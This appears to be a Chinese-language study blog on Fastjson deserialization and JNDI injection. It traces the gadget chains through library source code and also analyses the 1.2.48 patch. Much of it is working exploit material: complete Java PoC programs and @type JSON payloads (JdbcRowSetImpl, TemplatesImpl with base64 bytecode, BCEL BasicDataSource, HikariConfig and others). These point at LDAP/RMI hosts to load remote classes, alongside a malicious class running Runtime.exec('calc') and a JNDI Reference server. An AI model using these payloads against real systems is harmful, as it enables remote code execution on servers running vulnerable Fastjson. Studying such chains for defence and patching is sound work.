deserializers.put(StackTraceElement.class, StackTraceElementDeserializer.instance);

deserializers.put(Serializable.class, JavaObjectDeserializer.instance);
deserializers.put(Cloneable.class, JavaObjectDeserializer.instance);
deserializers.put(Comparable.class, JavaObjectDeserializer.instance);
deserializers.put(Closeable.class, JavaObjectDeserializer.instance);

addItemsToDeny(DENYS);
addItemsToAccept(AUTO_TYPE_ACCEPT_LIST);

}

这里这个流程就走完了,我们加载Class.class,使用MiscCodec反序列化器,调用loadClass,将类名传入,并放入缓冲区中

当我们再次对类进行加载的时候,就直接从缓存中返回类

实现

第一步 反序列化一个Class类,值为恶意类

第二步 接着用之前的payload

加载第一个Class类时候设置类为Class类,后面的参数名就叫val即可,若不为它就会报错

第二个类直接使用之前payload即可

1
2
3
4
5
6
public class Fastjson1227 {
public static void main(String[] args) throws Exception {
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/KemDnGOe\",\"autoCommit\":false}}";
JSON.parseObject(s);
}
}

最后成功加载恶意类

补丁分析

由于1.2.47这个洞能够在不开启AutoTypeSupport实现RCE,因此危害十分巨大,我们看看是怎样修的

1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将Class类加入到了黑名单中。调试分析,在调用TypeUtils.loadClass()时中,缓存开关cache默认设置为了False,对比下两个版本的就知道了。

1
2
3
4
5
6
7
8
//1.2.47
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
//1.2.48
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}

Fastjson <= 1.2.61 通杀

Fastjson1.2.5 <= 1.2.59

  • 需要开启AutoType
1
2
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

Fastjson1.2.5 <= 1.2.60

  • 需要开启AutoType
1
2
3
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

Fastjson1.2.5 <= 1.2.60

1
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/ExportObject"}

Fastjson-1.2.24

环境

  • JDK8u65
  • 1.2.22 <= Fastjson <= 1.2.24

pom.xml 文件导入如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

出网情况下

基于TemplatesImpl的利用链

分析

我们一定对TemplatesImpl有所了解,学习CC链时,就有它的身影,我们使用它的getTransletInstance方法去加载任意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

继续深入的分析,我们已经在CC链专题中讲过了,这里就不再多说

我们要想走到defineTransletClasses方法,并进行实例化类,需要以下几个条件成立

  • _name 不等于 null
  • _class 等于 null
  • _tfactory 为 TransformerFactoryImpl

因此在设想中,我们的poc大概是以下这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";
"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },

";


但是实际上,getTransletInstance并不满足我们的getter的条件

1
2
3
4
5
6
7
private Translet getTransletInstance()
throws TransformerConfigurationException {
......
return translet;
}
......
}

我们应该找哪里调用了该方法,发现只有newTransformer中调用了,但他不是符合setter或getter方法,继续向上找去,找到一个符合条件的setter与getter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

最终我们找到了方法getOutputProperties,是可以让我们利用的getter方法,它的返回值Properties正是一个Map类型

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

大概链子如下

1
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

现在我们的大概POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\JavaClass\\TemplatesBytes.class";

"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Drunkbaby',
'_tfactory':{ },
\"_outputProperties\":{ },

";

实现

自己的poc不知道为什么一直无法弹出计算器,看了别的师傅的payload修改后才成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;

public class fastjsonTest {
public static class test{}

public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}


public static void main(String[] args) throws Exception {
String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String classPath = "F:\\temporary\\Test.class";
byte[] code= convert(classPath);
String evilCode_base64 = Base64.getEncoder().encodeToString(code);
String payload =
"{\"" +
"@type\":\"" + NASTY_CLASS + "\"," + "\"" +
"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'asd','" +
"_tfactory':{ },\"" +
"_outputProperties\":{ }" + "}";
ParserConfig config = new ParserConfig();
System.out.println(payload);
Object obj = JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);

}

}

基于JdbcRowSetImpl的利用链

分析

我们找到JdbcRowSetImpl类中的connect方法存在一个lookup方法,可能存在JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

connect方法对this.getDataSourceName()进行了lookup

以下是getDataSourceName的代码,若我们可以控制dataSource,即可实现JNDI注入

虽然dataSource是一个私有属性,但是在本类中具有它public的setter方法,因此它是一个可控变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public String getDataSourceName() {
return dataSource;
}

public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

接下来我们找connect方法的调用处,需要是一个getter或者是setter

我们找到了以下两种方法,而只有setAutoCommit方法是可以利用的

而getDatabaseMetaData不可利用的原因是

  1. 返回值为DatabaseMetaData,不为指定类型
  2. 遍历getter方法需要使用parseObject方法,若要调用getter,则在toJSON方法前不能出错

这里我们使用setAutoCommit方法,只要我们传入var1参数,这里我们可以调用connect方法,实现JNDI注入

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}

}

实现

我用yakit的反连服务器工具来生成LDAP反连地址

它的实现十分简单,我们需要设置三个键值对

  • @type : com.sun.rowset.JdbcRowSetImpl
  • DataSourceName : ldap://127.0.0.1:8085/ENbcWWGK
  • autoCommit : false

我们需要设置DataSource,但是它的setter方法为DataSourceName,因此我们需要传入的是DataSourceName

而正如上面所说,我们想要执行connect方法,就要设置传入setAutoCommit的参数为false

1
2
3
4
5
6
public class FastJsonJdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/ENbcWWGK\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}

这样即可使远程类加载

rmi也是同理,依旧可以造成注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Test {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
//initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

不出网

基于BasicDataSource的不出网利用链

分析

在出网情况下可以远程加载恶意类,如果在目标不出网的情况下,只能通过本地类加载来利用

我们这里的核心是BCEL中的一个ClassLoaderloadclass,若这个类的开头命名满足$$BCEL$$,就会创建出一个类,并进行类加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
protected Class loadClass(String class_name, boolean resolve)
throws ClassNotFoundException
{
......

if(cl == null) {
JavaClass clazz = null;

/* Third try: Special request?
*/
if(class_name.indexOf("$$BCEL$$") >= 0)
clazz = createClass(class_name);
else { // Fourth try: Load classes via repository
if ((clazz = repository.loadClass(class_name)) != null) {
clazz = modifyClass(clazz);
}
else
throw new ClassNotFoundException(class_name);
}

if(clazz != null) {
byte[] bytes = clazz.getBytes();
cl = defineClass(class_name, bytes, 0, bytes.length);
} else // Fourth try: Use default class loader
cl = Class.forName(class_name);
}

if(resolve)
resolveClass(cl);
}

classes.put(class_name, cl);

return cl;
}

现在我们构造一个恶意类,用BCEL的ClassLoader进行类加载,并进行实例化,即可弹出计算器

这里使用encode的原因是在BCEL的ClassLoaderloadclass中,有一个方法createClass,其中对传入的参数进行了一次decode,因此我们需要手动encode一次才不会出错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected JavaClass createClass(String class_name) {
int index = class_name.indexOf("$$BCEL$$");
String real_name = class_name.substring(index + 8);

JavaClass clazz = null;
try {
byte[] bytes = Utility.decode(real_name, true);
ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

clazz = parser.parse();
}
......
return clazz;
}

接下来就要找到调用该类loadclass的地方,一直向上找最终找到getter或者是setter

我们找到tomcat中的BasicDataSource类中的createConnectionFactory

driverClassLoader不为空,则使用该类加载器对driverClassName进行加载

而正好这两个属性都有对应的setter方法,是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected ConnectionFactory createConnectionFactory() throws SQLException {
// Load the JDBC driver class
Driver driverToUse = this.driver;

if (driverToUse == null) {
Class<?> driverFromCCL = null;
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (final ClassNotFoundException cnfe) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
}
} catch (final Exception t) {
final String message = "Cannot load JDBC driver class '" + driverClassName + "'";
logWriter.println(message);
t.printStackTrace(logWriter);
throw new SQLException(message, t);
}
}

......
return driverConnectionFactory;
}

现在我们向上找,知道找到可利用的getter或setter方法

createDataSource方法调用了createConnectionFactory

getconnection调用了createDataSource

getconnection就是一个可用的getter方法

1
2
3
4
5
6
7
8
9
10
protected DataSource createDataSource() throws SQLException {
......
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
......
}

public Connection getConnection() throws SQLException {
......
return createDataSource().getConnection();
}

成功加载恶意类

实现

@type设为org.apache.tomcat.dbcp.dbcp2.BasicDataSource,对driverClassNamedriverClassLoader进行赋值,其中Name要符合$$BCEL$$,而Loader要通过JSON来还原一个类加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class FastJsonBcel {
public static void main(String[] args) throws Exception {
ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("F:\\java\\RMI\\RMIServer\\target\\classes\\TestRef.class");
String code = Utility.encode(bytes,true);

String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":\"{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parse(s);
System.out.println(code);

}
public static byte[] convert(String path) throws Exception {
File file = new File(path);
if (!file.exists()) {
throw new IOException("File not found: " + path);
}

try (FileInputStream fis = new FileInputStream(file)) {
byte[] bytes = new byte[(int) file.length()];
int readBytes = fis.read(bytes);
if (readBytes != file.length()) {
throw new IOException("Failed to read the entire file: " + path);
}
return bytes;
}
}
}

最后成功利用,执行弹窗

总结

总结一下漏洞发生在反序列化的点,也就是 Obj.parseObj.parseObject 这里。必须的是传参要带入 class 的参数

PoC 是通过 String 传进去的,要以 @type 打头

漏洞的原因是反序列化的时候去调用了 getter 和 setter 的方法

FastJson基础

FastJson 简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

提供两个主要接口来分别实现序列化和反序列化操作。

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程

  • 所以可以简单的把 json 理解成是一个字符串

环境配置

  • JDK7u21
  • Fastjson 1.2.24
1
2
3
4
5
<dependency>  
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

简单小demo

定义一个Person类,为其设置setter/getter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com;

public class Person {
private String name;
private int age;

public Person() {
System.out.println("Person");
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}
}

序列化

写一个序列化的代码,调用JSON.toJsonStirng()来序列化Person对象

1
2
3
4
5
6
7
8
9
10
public class JSONUser {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"com.Person\",\"age\":18,\"name\":\"abc\"}";

Person person = new Person();
person.setAge(18);
String jsonString = JSON.toJSONString(person);
System.out.println(jsonString);
}
}

反序列化

写一个反序列化的代码,调用JSONObject.parseObject()来反序列化Person对象

(当需要还原出private的属性时,需要在JSON.parseObject/JSON.parse中加上Feature.SupportNonPublicField参,当然一般没人给私有属性加setter)

1
2
3
4
5
6
7
8
public class JSONUser {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"com.Person\",\"age\":18,\"name\":\"abc\"}";

Object parse = JSON.parse(s);
System.out.println(parse);
}
}

小知识

Fastjson反序列化采用两个反序列化方法,分别为
  • JSON.parseObject()
  • JSON.parse()

parseObject():返回fastjsonJSONObject

parse():返回我们的类

下面我们可以看到,parseObject()返回parseObject类,而<font style="color:rgb(80, 80, 92);">parse()</font>返回我们的User类

但是可以通过在parseObject参数中传入类,达到和parse相同效果(也可以传入Student.class)

1
parseObject(input,Object.class)

Fastjson反序列化漏洞

fastjson在反序列化字符串时,会寻找@type中的类,在反序列化过程中会自动调用该类的setter和getter方法,但并不是所有getter和setter都会被调用

以下是满足条件的setter和getter的条件(可以根据源码分析出来,这里不多说了):

满足条件的setter

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

漏洞原理

Fastjson拥有自己的一套实现序列化和反序列化的机制,针对不同版本的Fastjson反序列化漏洞,原理都是一样的,只是针对不同黑名单的绕过利用

攻击者传入一个恶意构造的JSON字符串,Fastjson在反序列化字符串时,得到恶意类并执行恶意类的恶意函数,导致恶意代码执行

我们看之前的代码Demo,他会调用该类的 构造方法、getter、setter方法,若这些方法中存在危险方法的话,即存在Fastjson的 反序列化漏洞

1
2
String s = "{\"@type\":\"com.Person\",\"age\":18,\"name\":\"abc\"}";
Object parse = JSON.parse(s);

POC写法

一般Fastjson反序列化的POC写法如下
1
2
3
4
5
{
"@type":"xxx.xxx.xxx",
"xxx":"xxx",
...
}

小结

在学习过程中,发现fastjson的好多东西都没学到,回来重新学习一下,前两天有点忙,所以博客没来得及更新QAQ

JNDI专题

简介

JNDI是什么

**JNDI(Java Naming and Directory Interface,Java命名和目录接口)**是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

简单来说就是一个索引库,将一个名称对应到一个对象(或者属性)上面,并且可以通过指定名称找到相应对象

作用:可以实现动态加载数据库配置文件,从而保持数据库代码不变动等

结构

JDNI包含在JavaSE平台中。要使用JNDI,必须拥有JNDI类和一个或者多个服务器提供者。JDK包括以下命名/目录服务的提供者:

  • 轻量级目录访问协议(LDAP)
  • 通过对象请求代理架构(CORBA)通过对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

在JavaJDK中提供了5个包,有以下几个

1
2
3
4
5
6
7
8
9
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

JNDI简单利用

实现JDNI,我们首先也要把RMIServer启动起来
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws Exception {
IRemoteObj remoteObj = new RemoteObjlmpl();
Registry r = LocateRegistry.createRegistry(1099);
r.bind("remoteObj",remoteObj);
}
}

后续将JNDIRMIServer也启动起来

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjlmpl());
// Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
// initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}
}

最后通过客户端的远程调用

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

分析

我们不能像RMI之前那样来调用了,但调用的方式其实差不多

首先要做的是创建一个初始化上下文

然后再去寻找,我们需要把协议地址传入

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

我们想,他这里会不会是调用的原生rmi的方法,我们跟进去看一下

最后走到了RegistryContext#lookup的方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里我们可以看到,调用的是RegistryImpl_Stub的lookup方法

那我们就能知道了,实际这里调用的就是rmi原生的lookup方法

如果说服务端lookup中的参数可控的话,我们就可以用它来查询我们构造的恶意对象

JNDI结合RMI

引用对象

在目录存储对象中支持以下几种对象
  • java可序列化对象
  • 引用对象
  • 属性对象
  • 远程对象
  • CORBA对象

平时我们所说的JNDI所指的是引用对象

我们先来看看,引用对象创建的几个参数

第一个是类名,第二个是工厂名,第三个是工厂的位置

1
2
3
4
5
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}

实现

来看一下它的实现,创建一个引用对象,将TestRef类和TestRef工厂绑定到http://localhost:7777下面,再将引用对象绑定到rmi://localhost:1099/remoteObj

1
2
3
4
5
6
7
8
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}
}

我们这里构造一个恶意类,写入可以弹出计算器的恶意代码

编译好后放在一个文件夹下,开启一个http服务

1
2
3
4
5
public class Test {
public Test() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

然后用JNDI客户端去调用

1
2
3
4
5
6
7
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

最终成功弹出计算机

小tip

由于调用恶意类的构造函数实在客户端(被攻击端)上执行,所以在编译时候,恶意类的开头不可以带package,否则会报出NoClassDefFoundError错误。

流程分析

其中具体的流程我们也来跟一下

刚才我们也说了,实际它是调用rmi原生的lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

从lookup方法得到对象后,发现是一个ReferenceWrapper_Stub对象,而我们实际绑定的是Reference对象

绑定的是Reference而查看的时候是ReferenceWrapper_Stub,那问题肯定出在rebind方法上

1
2
3
4
5
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference refObj = new Reference("TestRef","TestRef","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj",refObj);
}

走入函数里看一下,在调用RegistryImpl_Stubrebind方法时候,名字还是我们传入的名字,而传入的方法是经过了encodeObject之后的对象,也就是对对象进行了一层封装

1
2
3
4
5
6
7
8
9
10
11
public void rebind(Name var1, Object var2) throws NamingException {
if (var1.isEmpty()) {
throw new InvalidNameException("RegistryContext: Cannot rebind empty name");
} else {
try {
this.registry.rebind(var1.get(0), this.encodeObject(var2, var1.getPrefix(1)));
} catch (RemoteException var4) {
throw (NamingException)wrapRemoteException(var4).fillInStackTrace();
}
}
}

我们看一下encodeObject函数的逻辑

如果该对象是一个Reference对象的话,那么就封装进ReferenceWrapper

1
2
3
4
5
6
7
8
9
10
11
12
private Remote encodeObject(Object var1, Name var2) throws NamingException, RemoteException {
var1 = NamingManager.getStateToBind(var1, var2, this, this.environment);
if (var1 instanceof Remote) {
return (Remote)var1;
} else if (var1 instanceof Reference) {
return new ReferenceWrapper((Reference)var1);
} else if (var1 instanceof Referenceable) {
return new ReferenceWrapper(((Referenceable)var1).getReference());
} else {
throw new IllegalArgumentException("RegistryContext: object to bind must be Remote, Reference, or Referenceable");
}
}

接下来我们看一下客户端lookup的逻辑

RegistryContextlookup方法中,我们看到了调用rmi原生lookup的地方,将找到的对象存入var2中(ReferenceWrapper_Stub

在该方法的最后,我们可以看到想对应的decodeObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这里这个方法就是将接受到的ReferenceWrapper_Stub对象,变为我们开始创建的Reference对象

我们快走出RegistryContext类了,但是还是没有对恶意类进行初始化,也就是说,类加载机制是和容器协议无关

return时会走入NamingManagergetObjectInstance方法内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

我们看到NamingManager#getObjectInstance,其中有个getObjectFactoryFromReference方法是比较重要的,从名字可以看出来,从引用中得到工厂对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
......

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

从该方法中可以找进行工厂类的类加载位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
......
}

进入loadClass方法,首先使用的类加载器是AppClassLoader,在本地去寻找,但是本地是肯定找不到的,再近一步

1
2
3
4
5
Class<?> loadClass(String className, ClassLoader cl)
throws ClassNotFoundException {
Class<?> cls = Class.forName(className, true, cl);
return cls;
}

没找到的话,会从codebase中寻找,找到的话,就会用codebase去进行类加载

1
2
3
4
5
6
7
8
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

这里新建了一个URLClassLoader,将codebase传入

1
2
3
4
5
6
7
8
9
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

